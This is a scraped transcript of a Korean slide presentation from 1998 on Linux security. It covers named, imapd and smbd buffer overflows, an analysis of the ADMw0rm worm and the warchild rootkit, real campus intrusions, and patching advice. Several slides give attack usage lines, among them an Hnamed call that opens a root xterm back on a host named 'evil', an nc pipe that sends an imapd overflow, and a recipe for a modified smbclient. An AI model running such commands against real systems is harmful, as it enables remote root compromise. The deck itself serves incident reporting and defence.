Presentation is loading. Please wait.

Presentation is loading. Please wait.

리눅스와 보안 PLUS 오태호.

Similar presentations


Presentation on theme: "리눅스와 보안 PLUS 오태호."— Presentation transcript:

1 리눅스와 보안 PLUS 오태호

2 목차(1) 리눅스란? 리눅스가 최근 보안상 문제가 되는 이유 최근 외부 사용자 공격 유형 named를 이용한 공격
imapd를 이용한 공격 smbd를 이용한 공격

3 목차(2) 최근 리눅스 해킹사건 mscan imapd에 의한 해킹사건 named에 의한 해킹사건 리눅스 보안에 대한 대책

4 리눅스란? 핀란드에 있는 Linus Torvalds라는 대학생이 만든 PC에서 사용 가능한 UNIX clone
커널(kernel)의 소스가 완전히 공개되어 있고 PC에서 사용할 수 있기 때문에 해커가 애용하는 OS

5 리눅스가 최근 보안상 문제가 되는 이유(1) OS내부 구조가 완전히 공개되어 있음 리눅스 사용자의 급속한 증가
리눅스 커널(kernel)은 누구나 소스를 구해서 분석할 수 있음 리눅스 사용자의 급속한 증가 가격이 저렴함 성능이 뛰어남 사용방법이 쉬워짐 잡지사가 리눅스CD 배포에 기여 ^^;;

6 리눅스가 최근 보안상 문제가 되는 이유(2) 보안 구멍이 발견되면 그것을 이용한 공격 도구는 리눅스용이 가장 먼저 만들어 짐
* 참고사항 Alzza Redhat Linux 5.0 Patch man II 배포 1998년 3월 named(bind)버그 발표 (CERT) 1998년 4월 8일 named를 이용한 linux용 공격 도구 발견됨 1998년 5월 19일 named를 이용한 포항공대 공격 흔적 발견 1998년 7월 1일

7 최근 리눅스 외부 사용자 공격 유형(1) named imapd Redhat Linux 5.0에 포함
inverse query할 때 buffer overflow가능 CA bind_problems 참고 imapd Redhat Linux 4.0에 포함 username을 입력 받을 때 buffer overflow가능 CA imap_pop 참고

8 최근 리눅스 외부 사용자 공격 유형(2) smbd Redhat Linux 4.2에 포함
password를 입력 받을 때 buffer overflow가능

9 named를 이용한 공격(1) ADMw0rm evil victim1 victim2 자신을 /tmp/.w0rm0r에 저장
host정보를 /tmp/.X11x에 저장 w0rm계정 추가 /etc/hosts.deny삭제 자신을 실행 다른 host 공격 /tmp/.w0rm shell생성 w0rm으로 로그인 /tmp/.X11x를 index.html로 복사 자신을 전송받음 /tmp/.w0rm과 /var/log를 삭제 을 보냄 로그아웃

10 named를 이용한 공격(2) ADMw0rm 분석 startup script
1) test, Hnamed, gimmeRAND, scanco, remotecmd를 컴파일한다. 2) test, Hnamed, gimmeRAND, scanco, remotecmd, gimmeIP, incremental, ADMw0rm을 ADMw0rm.tgz라는 이름으로 압축한다. 3) /tmp/.w0rm0r 디렉터리를 만들고 ADMw0rm.tgz를 복사한다. 4) w0rm::2666:777:ADM Inet W0rm:/:/bin/sh을 /etc/passwd에 추가한다. 5) ADMw0rm을 실행시킨다. (background)

11 named를 이용한 공격(3) ADMw0rm script(1) 1) 공격하고자 하는 호스트를 선택한다.
3) 공격이 가능하다면 Hnamed로 /etc/passwd에 빈 한 줄과 함께 w0rm::2666:777:ADM Inet w0rm:/:/bin/sh 을 추가하고 /tmp/.w0rm이라는 이름의 setuid root shell을 만들고 /etc/hosts.deny를 삭제한다. 4) 목표 호스트에 w0rm으로 로그인한다. 5) root권한으로 named를 실행시킨다. ( Hnamed를 이용해서 named를 공격하면 named가 crash되어 버리기 때문) 6) /tmp/.X11x에 "The ADM Inet w0rm is here !"라는 내용을 html형태로 저장한다. 7) /tmp/.w0rm0r 디렉터리를 만든다. 8) /tmp/w0rmishere 파일이 존재하는지 검사한다.

12 named를 이용한 공격(4) ADMw0rm script(2)
9) 파일이 존재하면 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background) 10) 파일이 존재하면 로그아웃한다. 11) 파일이 존재하지 않으면 ftp로 자신이 들어왔던 호스트에 w0rm으로 접속해서 /tmp/.w0rm0r/ADMw0rm.tgz를 전송받는다. 12) ADMw0rm.tgz 압축파일을 푼다. 13) /tmp/w0rmishere 파일을 생성시킨다. 14) ADMw0rm을 실행시킨다. (background) 15) ADMw0rm을 startup을 실행시킨 사람한테 현재 호스트의 IP를 로 보낸다. 16) 60초 후에 /var/log와 /tmp/.w0rm을 삭제한다. (background)

13 named를 이용한 공격(5) ADMw0rm script(3)
17) find로 index.html 파일을 찾아서 /tmp/.X11x를 index.html로 복사한다. (background) 18) 로그아웃한다.

14 named를 이용한 공격(6) Hnamed 사용법 : Hnamed <목표 호스트> <쉘 명령어>
목표 호스트에서 임의의 쉘 명령어를 root권한으로 실행시킬 수 있음 예) Hnamed victim.postech.ac.kr /usr/X11R6/bin/xterm -display evil.postech.ac.kr:0.0 한 번 실행하면 named가 crash되기 때문에 두 번 사용할 수 없음.

15 imapd를 이용한 공격 imap 사용법 : imap <offset>
offset의 값에 따라 buffer overflow를 위한 데이터가 생성 되서 standard output으로 출력 예) ( imap 0 ; cat ) | nc victim.postech.ac.kr 143

16 smbd를 이용한 공격(1) ADMkillsamba
사용법 : ADMkillsamba R <목표 호스트 IP> <netbios 이름> <공격 호스트 IP> <buffer size> <offset size> buffer size와 offset size를 바꿔서 계속 시도해서 성공하면 목표 호스트에서 root권한으로 실행시킨 xterm이 공격 호스트에 나타남 예) ADMkillsamba R VICTIM

17 smbd를 이용한 공격(2) ADMkillsamba를 이용해서 호스트를 공격하려면 패스워드를 비정상적으로 길게 보낼 수 있는 smbclient가 필요함 * 패스워드를 길게 보낼 수 있는 smbclient 만드는 방법 1) samba source code를 다운받는다. 2) smb.h에서 typedef char pstring[1024];를 typedef char pstring[20000];으로 고친다. 3) make smbclient를 실행한다.

18 mscan 다수의 호스트에 대해 최근에 알려진 몇 가지 보안 취약점을 외부에서 검사해서 알려 주는 프로그램
예) mscan -z postech.ac.kr -a > mscan.log

19 imapd에 의한 해킹사건(1) 이탈리아의 정체불명의 해커가 포항공대의 x***를 imapd의 버그를 이용 해킹한 사건

20 imapd에 의한 해킹사건(2) x***에서 해커가 한 행동 /etc/passwd 에 dark라는 id를 추가함
/.bash_history를 /dev/null로 링크시킴 /etc/securetty를 수정해 외부에서 superuser접속 허용하게 함 /tmp 에 zgr, bnc를 설치 zgr은 /var/log/wtmp, /var/run/utmp, /var/log/lastlog에서 특정 사용자의 기록을 지움 (진짜 이름은 Zap2)

21 imapd에 의한 해킹사건(3) 미국 www.g***.org의 파일 시스템을 mount해서 해킹 시도
bnc는 irc를 사용할 때 자신의 위치를 숨길 수 있게 해 주는 프로그램 미국 파일 시스템을 mount해서 해킹 시도 국내 K대학에 있는 k***에 imapd를 이용해 해킹해서 k***에서 스니퍼(sniffer)를 사용해 k***주변 사용자의 id와 password를 알아냄 이때 top과 ps를 자신의 프로그램으로 바꿔서 sniffer가 top이나 ps로 확인이 불가능하게 만들었음

22 imapd에 의한 해킹사건(4) 일본 N대학의 s***을 해킹 시도 국내 C대학의 t***를 imapd를 이용해 해킹해서 국내 K대학에서 한 것과 같은 행동을 함 dark라는 id를 사용하는 이 해커는 1998년 5월 29일부터 6월 23일까지 거의 매일 이탈리아의 ISP를 통해 포항공대 x***에 접속해서 다른 여러 곳을 해킹함

23 imapd에 의한 해킹사건(5) 해커수사대에 신고 x***에 dark가 다시 들어오지 못하게 하고 사건을 마무리 함

24 named에 의한 해킹사건(1) 멕시코에 있는 I대학 j***에서 포항공대 전체 호스트를 mscan을 이용해 조사한 흔적 발견 /06/29 PLUS에서는 mscan으로 조사해서 위험한 결과가 나온 호스트에 named, imapd등의 버그를 빨리 패치할 것을 긴급 지시 /07/01

25 named에 의한 해킹사건(2) named를 아직 패치하지 않았던 호스트 중 4개의 호스트에서 해커가 해킹한 흔적 발견 /07/02 4개의 호스트를 해킹한 해커는 모든 호스트를 같은 방법으로 해킹했고 해킹에 성공한 후의 행동으로 미루어 봐서 동일범으로 추정됨

26 named에 의한 해킹사건(3) 해커가 4개의 호스트에서 한 행동
password가 null인 kaka라는 id와 root권한을 가진 rewt라는 id를 /etc/passwd에 추가 named를 패치해서 다른 해커가 named를 이용해서 해킹하지 못하게 함 warchild rootkit을 s***.co.nz에서 ftp로 받아와서 /dev/xdd21에 설치 자신이 행동한 모든 기록을 삭제

27 named에 의한 해킹사건(4) warchild rootkit
인터넷에서 구할 수 있는 rootkit을 warchild라는 별명을 가진 사람이 개조한 것으로 추정됨 chfn, chsh, dir, du, in.idserv, in.inetd, in.rshd, ifconfig, login, ls, netstat ,passwd, ps, pstree, syslogd, tcpd, top, vdir로 구성되어 있음

28 named에 의한 해킹사건(5) 프로그램을 설치할 때는 기존 프로그램과 시간을 똑같이 해서 프로그램이 바뀐 사실을 알기 힘들게 하며 나중에 정리를 하기 위해 uninstall정보도 저장 프로그램의 설치가 모두 끝나면 더 이상 필요 없게 된 프로그램은 모두 삭제

29 named에 의한 해킹사건(6) warchild rootkit의 프로그램별 분석
ps, pstree, top : /dev/edc1에 등록되어 있는 프로세스를 보이지 않게 함 netstat : /usr/src/linux/arch/alpha/lib/.lib/.1addr에 등록되에 있는 주소를 보이지 않게 함 dir, du, ls, vdir : /dev/edc3에 등록되어 있는 파일을 보이지 않게 함

30 named에 의한 해킹사건(7) syslogd : /dev/edc4에 등록되어 있는 기록을 기록하지 않음
ifconfig : 스니퍼를 실행시키고 있다는 사실을 보이지 않게 함 in.idserv : 스니퍼의 일종으로 스니퍼 결과는 /dev/xdd21/wrksn1ff에 저장됨 login : id에 m***, password에 ***a로 입력하면 root로 로그인됨

31 named에 의한 해킹사건(8) in.inetd : 510 port에서 기다리는 서버로서 password를 입력 받은 후 rootshell을 spawn함 나머지 프로그램들은 아직 어떤 역할을 하는지 자세히 모르겠음 이번 해킹 사건은 PLUS의 빠른 대응으로 인해 조기에 공격을 막을 수 있었지만 해킹을 당한 시스템 관리자들의 너무 성급한 대응으로 해커 추적에는 실패함

32 리눅스 보안에 대한 대책(1) named의 빠른 패치 imapd의 빠른 패치 /etc/rc.d/init.d/named stop
chmod 000 /usr/sbin/named imapd의 빠른 패치 vi /etc/inetd.conf imap으로 시작하는 행을 찾아서 #로 comment처리 한다. killall -HUP inetd

33 리눅스 보안에 대한 대책(2) smbd의 빠른 패치 mscan으로 scan을 당했을 때 남는 기록
/etc/rc.d/init.d/smb stop chmod 000 /usr/sbin/smbd mscan으로 scan을 당했을 때 남는 기록 /var/log/secure에 기록이 남음 Jul 5 11:50:48 victim imapd[8580]: connect from **.** Jul 5 11:50:48 victim ipop3d[8581]: connect from **.** Jul 5 11:50:48 victim in.telnetd[8582]: connect from **.**

34 리눅스 보안에 대한 대책(3) password가 null인 계정은 만들지 않음 항상 최신의 프로그램을 사용
필요 없는 프로그램은 사용하지 않음 보안 관련 공지를 자주 확인 자신의 컴퓨터를 해킹해도 해커가 얻을 것이 없다는 생각을 하지 않음


Download ppt "리눅스와 보안 PLUS 오태호."

Similar presentations


Ads by Google